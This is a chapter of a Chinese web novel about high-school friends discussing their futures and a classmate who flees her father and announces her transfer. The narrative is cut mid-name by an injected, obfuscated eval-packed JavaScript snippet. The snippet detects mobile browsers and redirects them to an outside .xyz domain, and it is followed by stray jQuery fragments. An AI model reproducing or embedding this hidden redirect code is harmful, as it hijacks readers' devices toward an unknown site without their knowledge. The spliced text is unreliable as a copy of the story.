“要喝东西吗?”
何彤彤回来的时候,脸上在发光。
“你请客啊?”郝怡涵打趣道。
“我请。”钟文玺紧随其后,站到何彤彤旁边,说:“好不容易考完试,又刚好在这边遇到。”
周迢在这时绕到姜纪一侧,他的气息近在咫尺,地上两个人影互相靠近,吹起的一角近乎重叠。
韩天冒出来,举手:“我也去我也去。”
自钟文玺生日后,姜纪很久没有见到他,挥手算是打招呼。
倒是郝怡涵没怎么见过这人,经人互相介绍一番,都是外向的性格,话抛的快,接的也快。
聊到一半,郝怡涵突然问:“你们晚修这么早结束?”
钟文玺回答:“大家都放假回去了,所以老师特地提前一个小时放学了。”
“那你又是来干嘛的?”郝怡涵疑惑地将目光投向韩天。
“在家闲着没事,就来学校找他们俩。”
十七八岁的少年,无论熟与不熟,聚在一起的时间稍微久些便像火星燎原,彼此碰撞燃烧出巨大的火焰。
似乎只要一句话就可以让每个人都毫不避讳地敞开心扉。
谈到有关学习与未来的话题。
韩天提到自己打算拾起小学兴趣班的功底去学美术。
“你要去艺术班?”郝怡涵几乎没有迟疑地开口。
消息突然,姜纪同样有些吃惊,看向周迢,他大约知情,仍旧走在一边,表情没什么变化。
得到肯定的回答,郝怡涵语气低下来,脚步放慢,“真羡慕你。”
“我爸妈根本不同意我学音乐,他们觉得是不务正业,说我就算上个普通本科也比那好。”
热络的气氛霎时间低落下来,大家理解她,却什么都做不了。
元旦晚会上郝怡涵的表演,姜纪不止一次听过她的排练,嗓音好听到夸奖她说快要媲美正经歌手。
每说一句,都在不经意间让她失落一分。
韩天后悔说出来这话,只能安慰郝怡涵说:“没事,你成绩比我好多了。”
“我才不和你比哦。”郝怡涵做个鬼脸故意嫌弃他,逗笑其他人,她自己也调整好心情,问:“那你们呢?有什么喜欢的,想做的吗?”
他们正站在人生篇章首页,待亲手补写的空白多到可以肆无忌惮地喊出心底所想所念。
钟文玺是第一个回答的。
“做和生物有关的工作吧,技术人员或者研究人员。”
说完他看向何彤彤,良久,何彤彤摇摇头,说自己没想好。
姜纪温声道:“和现在不一样的。”
她不像郝怡涵那样有特别喜欢的事物;不像韩天选择另外一条人少的路;也不像钟文玺,能早早找到擅长并乐意为之付出努力的兴趣,使其成为工作。
十七年里,姜纪很少有认为自己是特殊的时刻。
平平无奇带来按部就班。
性格内敛带来循规蹈矩。
有人是童话故事里的豌豆公主,就有人要做一笔带过的绿色豌豆。
可没人规定每一粒豌豆都该被压在下面。
它会悄然发芽。
她想做不一样的,可以长出花朵与枝桠的,豆苗遍布各处的豌豆。
只剩一个人没答案,姜纪便很正常地向周迢看过去。
“新品买二送一。”
何彤彤忽然念出横幅上的字,满脸不可思议:“今天运气要不要这么好啊。”
韩天计算着:“那刚好,买四杯送两杯,六个人,天时地利人和。”
“我看看是什么新口味。”郝怡涵进了门。
店内泛着暖黄色的灯光,周迢没跟着往里走,他只是微低着头,像在思索什么。校服外面套了件黑色的长羽绒服,保暖效果算不上好,他仍有半截锁骨露出来。
冷白与暖黄将一块地分割成两个空间,周迢站在分割线外,姜纪看向他的眼神像看展出雕塑一样自然。
她把这一切都归功于夜晚,所以才如此毫无顾忌。
大概他不会开口回答那个问题了。
即便回答,也不该只对她一个人。
半晌,姜纪迈出步子,她抬头,一眼窥到月亮,再回头去看周迢。
忽然觉得月光很是凉薄。
近在眼前却触不到。
后来回忆起那天,姜纪觉着它是裹着糖的苦瓜片。
浅浅一层糖霜褪去后,情绪波纹随即放大扩散,不断重复直至织成网困住自己。
元旦假期过完后两到三周的时间里会有期末考试,周五没有晚修,姜纪依然在教室多待了会儿才走。
下到一楼楼梯拐角,看到柳明月正站在那儿发呆,神情同上次很像。
不一样的是,这次柳明月很快便注意到她,朝她露出一抹笑,问:“要回家吗?”
当下便打消回南雨街的主意,姜纪主动发出邀约:“要不要去书店?”
没有犹豫很长时间,柳明月答应下来。
两个人一边聊天一边往校门口走。
“你怎么没去竞赛班?”
“感觉不太适合我。”姜纪侧脸瞧她,“你呢,肯定去了吧。”
“为什么这么说?”
“你脑子转的快嘛,不像我,太笨了没底气。”
姜纪说着敲敲脑壳,无奈叹气。
姜纪很少开玩笑,在柳明月面前尤其少,但她发现柳明月与平时相比不太对劲,想尽她所能让柳明月心情好点。
果然,柳明月笑了,眼睛弯起来,她说:“姜纪,你幽默感太差了,需要锻炼。”
稍瞬即逝的笑容并不发自内心,只是在回应那个不好笑的笑话。
实在少见她这个样子。
于是姜纪很快又转移到别的话题上:“考完试你给我补补课吧,就是讲解什么的,我之前没有参加过这种活动,所以很多都不懂。”
“姜纪,我…”
柳明月顿了顿,以为她依然没有开口的欲望,正想着再说点别的有意思的,却看到她脸色忽地变了,看向大门那边的方向。
姜纪还没反应过来,被一股力拉着往人群里走,每走两步柳明月就要往那边看一眼,似乎在提防什么。
不知所以然地看着紧张的柳明月,即使不知道发生了什么,却能意识到她现在不太好,于是姜纪仍旧顺从地跟着她的动作往前。
直到听见有人喊—
“月月!”
向着声音来源看,轮廓判断得出是个穿着大衣的中年男人,他身边有辆白色奥迪。
那是柳明月的爸爸,姜纪坐过他的车。
柳明月很不正常地板着脸,她力气从来没有这么大过,姜纪甚至感觉得到她全身肌肉都在紧绷。
穿过大门往右转弯,速度没有慢下来。
柳明月不是没听到,她在躲。
那辆奥迪开在身后,调整速度缓慢紧跟着。
“月月,月月你停下来听爸爸说。”
“乖女儿,外面冷,你上车好不好?”
“爸爸和你道歉。”
听上去是发生在父女之间的吵架,姜纪一时间想不到能有什么天大的事让柳明月生气成这样。
“孩子,你是月月朋友吧,先…”
柳爸爸要从姜纪入手的话说到一半被柳明月打断,她转身,像是再也忍不住地大喊:“说了你别跟着我,别跟着我!”
“你别跟着我!”
“你自己还不够丢人吗?非要让我也在朋友面前出丑!”
黄昏的街道并不安静,汽车鸣笛,路灯照耀,红绿灯闪烁,少女在哭泣。
姜纪站在柳明月身后,看到她无力地弯下腰,捂着脸蹲在地上。
车窗原本是开着的,来自柳爸爸的声音在那刻却变成忽近忽远的模样,挡风玻璃映不真切他的表情,姜纪想不会太好。
姜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831996|175607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纪握住柳明月的手,轻声道:“没事的。”
她惯会处理这些,三步并作两步,走到车窗处,朝里笑了下,“叔叔,您先走吧,我晚点送月月回家,别担心。”
片刻后,柳爸爸叹了口气,说:“好,麻烦你了。”
扶柳明月起来,没去书店,姜纪带她进了学校外面小吃街的那家米线店。
点完单,柳明月终于开口:“怎么来这儿了?”
“我有次遇到你,就是在这里。”姜纪指指坐着的桌子。
柳明月歪头回忆,“有吗?我不记得了。”
“高二刚开学,学校运动会那会儿,你还不认识我。”姜纪解释说:“之前你只存在于主席台和红榜上,你是同学们口口相传的美女学霸,很难见一面的。”
“哪有这么夸张。”柳明月停顿了下,“我很差劲的,刚刚对我爸爸很没礼貌地大喊大叫。”
“但他就是做错事了。”
她眼眶又红了。
两碗麻辣米线端上桌。
姜纪递给她筷子,“吃饭吧,等会儿你可以教教我…”
“没机会了,姜纪。”柳明月抬头,挤出的笑容也好看,“下星期我就转学了。”
消息过于突然,姜纪来不及消化,一时愣在原地。
“去哪儿?”
“临川,你如果想去,可以来找我玩的。没想到走之前还能凑巧见你一面,就是最后留下的印象不太好。”
姜纪默了会儿。
她不知道还能再说什么问什么了,她不是个喜欢一探究竟的人,也无力劝阻别人已经做好的决定。
只是很可惜,她真正认识柳明月的时间还不到半年。
所以那天晚上,大都是柳明月在说,姜纪在听。
最后在书店,她们各自送了一本书给对方。
写寄语的时候,姜纪想,柳明月的幽默感也不强。
于是她在扉页上提笔:
人总要有一些共同点,大概是因为这样她们才能做成朋友。
姜纪不知道柳明月写了什么,非合起来说她回到家才能看,那架势让她以为可以看到一篇一分钟内构思出的八百字小作文。
“就一行字,你可别多想。”
后来看到她留下来的是:
姜纪,你是个很好很好的人,祝你喜欢的一切都有回应。
周一,柳明月转走的消息已然传遍整个校园,有好奇的,有表示震惊的,有为她可惜的,当然也不乏诸多猜测。
因为时间不凑巧,赶上实验班和竞赛班接连组建,没过多久便有人分析说她是不是压力太大,所以精神出问题了。
“分班考试没考好受不了吗?”
“那两周碰到过几次柳明月,她每次都心不在焉的。”
“周五放学我好像看到她爸爸来接她,她理都不理,跑得还特快。”
“不会真精神病了吧。”
……
闲言碎语随处可闻,姜纪听到早不像第一次那样生气。
嘴太多根本管不了,猜就猜了,影响不到柳明月本人就好。
反倒何彤彤有些打抱不平。
“那些人也太过分了,不仅乱说柳明月精神有问题,还猜到人家父母身上了。”
郝怡涵饭都没咽下去,“那个我也听到了,咱俩说的是一个吗?”
何彤彤没好气道:“说她爸爸出轨在外面找女人。”
“对对对。”郝怡涵连连点头,“咱们之前开过家长会的,我看她爸爸根本不像那种人啊,是不是有钱人都容易传出这种流言?”
即使知道这不过是没来由的捕风捉影,姜纪心里依然没忍住一咯噔。
她想起那天透过半面降下车窗看清的脸:很常见的中年男人的样貌,愧疚自责或是心疼不忍。
见过太多次,姜纪看得出那是父母自知做错事的样子。
更何况,柳明月也说她爸爸做错了事。